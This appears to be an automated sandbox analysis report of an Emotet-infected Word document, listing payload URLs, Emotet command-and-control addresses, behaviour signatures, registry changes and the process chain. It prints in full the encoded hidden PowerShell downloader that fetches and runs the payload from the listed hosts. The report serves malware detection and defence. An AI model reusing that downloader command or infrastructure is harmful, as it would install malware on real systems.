Analysis
-
max time kernel
108s -
resource
win7v191014 -
submitted
07-12-2019 08:00
Task
task1
Sample
Docs_bb7b9f0ff1297e6480935818da798d0f.62.doc
Resource
win7v191014
General
Malware Config
Extracted
http://jdcc-stu.com/wp-includes/168386/
http://stevecablestreeservice.com/y8st/w4q76/
http://kaybork.com/howtos/620010/
http://dayzendapparel.com/cgi-bin/091244/
http://thematrix-one.info/cgi-bin/4900/
Extracted
emotet
47.146.42.234:80
130.45.45.31:80
200.119.11.118:443
96.126.121.64:443
104.236.137.72:8080
172.104.233.225:8080
85.234.143.94:8080
91.205.215.57:7080
62.75.160.178:8080
45.79.95.107:443
190.195.129.227:8090
159.203.204.126:8080
181.36.42.205:443
186.68.48.204:443
14.160.93.230:80
119.59.124.163:8080
87.118.70.69:8080
5.196.35.138:7080
82.8.232.51:80
203.130.0.69:80
139.5.237.27:443
2.38.99.79:80
200.58.83.179:80
190.102.226.91:80
134.209.214.126:8080
68.183.190.199:8080
181.198.203.45:443
77.55.211.77:8080
96.20.84.254:7080
186.15.83.52:8080
88.250.223.190:8080
79.31.85.103:80
149.135.123.65:80
93.67.154.252:443
72.29.55.174:80
201.163.74.202:443
5.88.27.67:8080
116.48.138.115:80
130.45.45.31:80
82.196.15.205:8080
86.42.166.147:80
190.210.184.138:995
51.255.165.160:8080
200.113.106.18:80
188.216.24.204:80
200.123.101.90:80
207.154.204.40:8080
154.120.227.206:8080
47.187.70.124:443
68.129.203.162:443
58.171.181.213:80
77.241.53.234:80
142.93.114.137:8080
191.103.76.34:443
47.146.42.234:80
181.231.62.54:80
110.143.18.92:80
185.160.212.3:80
144.2.165.179:80
87.106.77.40:7080
80.29.54.20:80
190.4.50.26:80
80.85.87.122:8080
201.190.133.235:8080
91.83.93.124:7080
185.86.148.222:8080
163.172.40.218:7080
2.44.167.52:80
118.200.218.193:443
104.131.58.132:8080
204.63.252.182:443
142.127.57.63:8080
95.179.195.74:80
149.62.173.247:8080
109.169.86.13:8080
212.71.237.140:8080
217.199.160.224:8080
181.61.143.177:80
68.183.170.114:8080
45.50.177.164:80
178.79.163.131:8080
200.113.106.18:80
50.28.51.143:8080
109.166.89.91:80
138.68.106.4:7080
73.167.135.180:80
190.17.42.79:80
63.246.252.234:80
144.139.56.105:80
87.106.46.107:8080
190.38.14.52:80
46.101.212.195:8080
201.213.32.59:80
190.146.131.105:8080
46.28.111.142:7080
181.135.153.203:443
2.139.158.136:443
125.99.61.162:7080
203.25.159.3:8080
62.75.143.100:7080
190.97.30.167:990
98.196.49.107:80
83.165.163.225:80
200.124.225.32:80
91.204.163.19:8090
190.186.164.23:80
69.163.33.84:8080
183.82.97.25:80
188.14.39.65:443
Signatures
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exeserialmemo.exepid process 1164 powershell.exe 1096 serialmemo.exe -
Executes dropped EXE 4 IoCs
Processes:
904.exe904.exeserialmemo.exeserialmemo.exepid process 1136 904.exe 1272 904.exe 1572 serialmemo.exe 1096 serialmemo.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
904.exeserialmemo.exepid process 1272 904.exe 1096 serialmemo.exe -
Drops file in System32 directory 6 IoCs
Processes:
WINWORD.EXEpowershell.exe904.exeserialmemo.exedescription ioc process File deleted C:\Windows\System32\spool\drivers\x64\3\mxdwdui.BUD WINWORD.EXE File created C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdui.BUD WINWORD.EXE File opened for modification C:\Windows\system32\GDIPFONTCACHEV1.DAT WINWORD.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File renamed C:\Users\Admin\904.exe => C:\Windows\SysWOW64\serialmemo.exe 904.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat serialmemo.exe -
Modifies registry class 136 IoCs
Processes:
description ioc Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{28D7D309-AF72-41D5-8A65-15512C4ED95D}\2.0\ = "Microsoft Forms 2.0 Object Library" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{28D7D309-AF72-41D5-8A65-15512C4ED95D}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{28D7D309-AF72-41D5-8A65-15512C4ED95D}\2.0\ = "Microsoft Forms 2.0 Object Library" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 1908 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1164 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
powershell.exe904.exeserialmemo.exedescription pid process target process PID 1164 wrote to memory of 1136 1164 powershell.exe 904.exe PID 1136 wrote to memory of 1272 1136 904.exe 904.exe PID 1572 wrote to memory of 1096 1572 serialmemo.exe serialmemo.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1908 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXEconhost.exe904.exe904.exeserialmemo.exeserialmemo.exepid process 1908 WINWORD.EXE 1188 conhost.exe 1136 904.exe 1272 904.exe 1572 serialmemo.exe 1096 serialmemo.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7b9f0ff1297e6480935818da798d0f.62.doc"1⤵
- Drops file in System32 directory
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -en JABIAGUAcAB4AGIAaAB6AHcAYgBtAGcAPQAnAFcAawBwAG8AcABxAHQAYgByAHoAJwA7ACQAUAB1AHkAdAB0AHUAagBxAHAAdQByACAAPQAgACcAOQAwADQAJwA7ACQAUQBrAGYAegBlAG8AbwB2AHcAPQAnAFMAdwBzAHIAcgBuAGgAcwB4ACcAOwAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAHUAeQB0AHQAdQBqAHEAcAB1AHIAKwAnAC4AZQB4AGUAJwA7ACQAWgBiAGIAZgBhAHIAcQBwAGYAcgBjAHUAcgA9ACcAQwBoAHIAaABwAHoAcwBrAHcAcwB5ACcAOwAkAFAAcwB2AHAAegB1AGkAaQB2AGgAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAYwBMAGkARQBuAHQAOwAkAEwAbABjAHMAdAB0AHIAbABuAHYAeQBhAGYAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGMAYwAtAHMAdAB1AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxADYAOAAzADgANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAZQB2AGUAYwBhAGIAbABlAHMAdAByAGUAZQBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB5ADgAcwB0AC8AdwA0AHEANwA2AC8AKgBoAHQAdABwADoALwAvAGsAYQB5AGIAbwByAGsALgBjAG8AbQAvAGgAbwB3AHQAbwBzAC8ANgAyADAAMAAxADAALwAqAGgAdAB0AHAAOgAvAC8AZABhAHkAegBlAG4AZABhAHAAcABhAHIAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMAA5ADEAMgA0ADQALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbQBhAHQAcgBpAHgALQBvAG4AZQAuAGkAbgBmAG8ALwBjAGcAaQAtAGIAaQBuAC8ANAA5ADAAMAAvACcALgAiAFMAUABsAGAAaQBUACIAKAAnACoAJwApADsAJABEAHIAZgB4AHkAcgBsAGUAeQB6AD0AJwBGAGcAbQBtAHAAYwBiAGMAYQBsAGEAYQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHIAawBwAGcAdAB3AG8AYQAgAGkAbgAgACQATABsAGMAcwB0AHQAcgBsAG4AdgB5AGEAZgApAHsAdAByAHkAewAkAFAAcwB2AHAAegB1AGkAaQB2AGgALgAiAGQAbwB3AG4AYABMAG8AYQBgAEQARgBgAEkATABFACIAKAAkAE8AcgBrAHAAZwB0AHcAbwBhACwAIAAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhACkAOwAkAEcAcQBlAG0AYwBwAGcAbQBvAG0AZgB3AHoAPQAnAEQAaABkAGsAagBzAGcAeABoAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwAyADMAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAHIAdAAiACgAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApADsAJABTAHEAZQBoAGYAcwBmAG4AdQA9ACcARwB5AHUAeQBhAGoAZwBjAHoAbwAnADsAYgByAGUAYQBrADsAJABXAGUAagBoAHoAcwB3AHcAZwBxAHkAdQA9ACcAWAByAGcAeAB5AGoAdQBzAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB4AHgAawB1AGEAdABrAHcAaABkAHYAbAA9ACcAWAByAGUAcQBhAGEAYQBzAG0AbwB2AGIAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\904.exe"C:\Users\Admin\904.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\904.exe--af9a2e1b3⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "170567490699066284820195978591905946548-1324181297-6827939461883015892416655494"1⤵
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
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C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"1⤵
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C:\Windows\SysWOW64\serialmemo.exe"C:\Windows\SysWOW64\serialmemo.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\serialmemo.exe--e299c7802⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\904.exe
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C:\Users\Admin\904.exe
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C:\Users\Admin\904.exe
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C:\Windows\SysWOW64\serialmemo.exe
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C:\Windows\SysWOW64\serialmemo.exe
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memory/1096-17-0x0000000000400000-0x0000000000451000-memory.dmpFilesize
324KB
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memory/1136-8-0x0000000000250000-0x0000000000267000-memory.dmpFilesize
92KB
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memory/1272-11-0x00000000002E0000-0x00000000002F7000-memory.dmpFilesize
92KB
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memory/1272-12-0x0000000000400000-0x0000000000451000-memory.dmpFilesize
324KB
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memory/1572-14-0x0000000000270000-0x0000000000287000-memory.dmpFilesize
92KB
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memory/1908-4-0x000000000664C000-0x0000000006650000-memory.dmpFilesize
16KB
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memory/1908-0-0x0000000006550000-0x0000000006554000-memory.dmpFilesize
16KB
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memory/1908-3-0x0000000009470000-0x0000000009474000-memory.dmpFilesize
16KB
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memory/1908-2-0x000000000664C000-0x0000000006650000-memory.dmpFilesize
16KB
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memory/1908-1-0x000000000664B000-0x000000000664C000-memory.dmpFilesize
4KB